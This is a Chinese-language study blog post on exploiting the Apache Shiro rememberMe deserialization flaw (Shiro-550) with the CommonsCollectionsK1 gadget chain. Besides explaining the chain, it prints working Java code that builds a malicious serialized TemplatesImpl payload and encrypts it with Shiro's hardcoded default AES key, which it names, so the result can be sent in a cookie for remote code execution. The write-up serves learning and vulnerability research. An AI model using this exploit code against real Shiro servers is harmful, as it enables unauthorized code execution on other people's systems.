• 反序列化Gadget学习篇六 Shiro&CommonCollectionsK1


    原理&环境

    Shiro反序列化漏洞原理:
    为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。

    简单环境的搭建:
    https://github.com/phith0n/JavaThings/tree/master/shirodemo

    勾选remember me后,发送登陆请求,登陆成功后返回包中会带有rememberMe的Cookie信息:

    直接使用CommonCollections6

    在1.2.4版本及以下,默认的密钥为:kPH+bIxk5D2deZiIxcaaaA==
    直接用之前的cc6链,生成一个payload,用这个密钥加密发过去试一下:

    poc并没有成功,tomcat报错:

    错误栈最下面的一个类:
    org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass


    resolveClass是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形 式的类名,需要通过这个方法来找到对应的java.lang.Class对象。
    对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法:

    发现不同之处在于这个ClassUtils.forName(osc.getName());
    关键点在发生异常的位置:

    可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;。这个类名看起来 怪,其实就是表示org.apache.commons.collections.Transformer的数组。这里失败的原因非常复杂,参考:
    https://blog.zsxsoft.com/post/35
    http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html 以及下面的评论,很精彩
    参考phith0n的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 所以CC6,CC1都无法使用,网络上很多其他文章都是用的CommonCollections2,但CommonCollections2依赖的是CommonCollections4.0版本。

    构造不含有数组的Gadgets

    Orange大佬在其上面的文章中给出了使用JRMP的利用方法。但是这种需要出网,有一些限制。更好的方法就用到了TemplatesImpl,就是XRay和Koalr师傅的CommonsCollectionsK1链。
    前面的文章分析了TemplatesImpl + InvokeerTransformer的调用链,但是这样也用到了数组:

    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(obj),
        new InvokerTransformer("newTransformer", null, null)
    };
    

    需要想办法不利用数组,wh1t3p1g在这篇文章给出了一个行之有效的方法。借助了CommonCollection6中的TiedMapEntry。
    首先来回顾一下Transformer链的构造原理。

    回顾:

    ChainedTransformer

    ChainedTransformer,由一个Transformer数组初始化,数组中都是Transformer的实现类,都有transform方法。当回调被触发时,按照数组顺序循环执行每一个实现类的transform,第一个参数是触发回调的key或者value,上一个transform的return结果是下一个的参数,比如上面的transformers数组例子,实际执行的时候是InvokerTransformer.transform(ConstantTransformer.transform(key))

    ConstantTransformer

    直接返回类初始化时构造函数传入的参数,不会对transform的参数有任何处理

    InvokerTransformer

    调用反射,获取Method并且调用invoke执行,返回执行结果

    构造链:

    想办法把上面的TemplatesImpl + InvokeerTransformer链中的Transformer数组去掉,也就是变成一次调用。
    思路:LazyMap.get方法调用了this.factory.this.factory.transform(key)

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }
    

    这里的this.factory是初始化LazyMap时传入的Transformer类,直接执行了这个Transformer的transform方法,参数为key,如果这个key可以控制,那就相当于变相用ConstantTransformer返回了一个对象给下一个Transformer类,那只需要传入一个new InvokerTransformer("newTransformer", null, null),在执行的时候就会执行:
    TemplatesImpl.newTransformer(),去掉了数组。
    如何调用LazyMap.get,且key可控?前面的利用链中已经有例子用过,使用TiedMapEntry

    和CC3利用链的区别在于,之前初始化TiedMapEntry时的key参数是无用字符串,现在换成构造好的恶意TemplatesImpl
    自己写这部分代码的时候,理论知识都已经具备,但是很多小细节没注意,几个问题:

    1. 恶意类要继承AbstractTranslet类(TemplatesImpl利用链的要求)
    2. 为了避免组装恶意TiedMapEntry时调用各种方法产生影响,要先关联一个假的Transformer,这里先用Transformer调用一个无害方法比如getClass,再反射修改Transformer的iMethodName成员变量。和先绑定一个无害faketransformer,再修改lazyMap的factory的成员变量效果相同,但是不要混用。

    生成payload代码:

    public static byte[] getPayload(byte[] bytecode) throws Exception{
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        // 构造链调用obj.newTransformer()
    
        Transformer transformer = new InvokerTransformer("newTransformer", null, null);
        Transformer faketransformer = new ConstantTransformer(1);
        Map outmap = new HashMap();
        Map lazyMap = LazyMap.decorate(outmap,faketransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, obj);
        Map map = new HashMap();
        map.put(tiedMapEntry,"213");
    
        setFieldValue(lazyMap, "factory", transformer);
    
        outmap.clear();
    
    //        setFieldValue(transformer, "iMethodName", "newTransformer");
    
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(map);
        oos.close();
    
        return barr.toByteArray();
    }
    

    用shiro默认密钥生成exp:

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(changez.sec.shiro.Evil.class.getName());
        byte[] payload = CommonCollectionsK1.getPayload(clazz.toBytecode());
        
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource cipheretext = aes.encrypt(payload,key);
        System.out.println(cipheretext);
    }
    

    结果直接放入cookie中,发送即可:

    总结

    主要学习了关于Shiro反序列化漏洞,以及如何将 TemplatesImpl 结合到 CommonsCollections6中,也就解决了前一篇文章中遗留的CommonsCollections3不能在Java 8u71以 上利用的问题。这一个Gadget其实也就是XRay和Koalr师傅的CommonsCollectionsK1用来检测Shiro-550的方法。

  • 相关阅读:
    Homebrew简介及安装
    MongoDB MapReduce学习笔记
    mongodb_修改器($inc/$set/$unset/$push/$pop/upsert......)
    【资源共享】《Rockchip 量产烧录 指南 V1.0》
    【资源共享】《DDR常见问题简单排查》
    【技术案例】Firefly-RK3399多路视频编解码
    【资源共享】《Rockchip 以太网 开发指南 V2.3.1》
    【资源共享】Rockchip Audio 开发指南
    关于在RK3288上安装Opencv的方法
    debian stretch + kernel 4.4 固件发布(支持硬件加速),可安装kodi
  • 原文地址:https://www.cnblogs.com/chengez/p/shiro_K1.html
Copyright © 2020-2023  润新知